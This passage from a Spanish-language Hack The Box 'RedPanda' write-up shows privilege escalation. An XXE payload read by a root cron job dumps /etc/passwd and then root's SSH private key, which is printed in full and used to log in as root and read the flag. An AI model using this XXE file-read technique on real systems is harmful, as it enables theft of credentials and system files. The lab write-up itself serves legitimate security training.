woodenk@redpanda:~$ ls
file_creds.xml  greg.jpg  user.txt
woodenk@redpanda:~$ cat file_creds.xml
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
woodenk@redpanda:~$

Luego de unos segundos el cron se ejecutaría y obtendríamos el resultado en el mismo archivo xml.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
woodenk@redpanda:~$ cat file_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root>
<root>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
woodenk:x:1000:1000:,,,:/home/woodenk:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false</root>
woodenk@redpanda:~$

Shell

Modificamos el payload para la lectura de la clave privada SSH de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
woodenk@redpanda:~$ cat file_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root>
<root>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</root>
woodenk@redpanda:~$

Con esta logramos obtener una shell root por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 π ~/htb/redpanda/www ❯ chmod 600 root_id_rsa 
 π ~/htb/redpanda/www ❯ ssh -i root_id_rsa root@10.10.11.170
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 18 Jul 2022 10:23:09 PM UTC

  System load:  0.14              Processes:             242
  Usage of /:   83.0% of 4.30GB   Users logged in:       1
  Memory usage: 75%               IPv4 address for eth0: 10.10.11.170
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jun 30 13:17:41 2022
root@redpanda:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@redpanda:~# ls
root.txt  run_credits.sh
root@redpanda:~# cat root.txt
3c6315be0480d9e8dbb52722aaea3d0a
root@redpanda:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe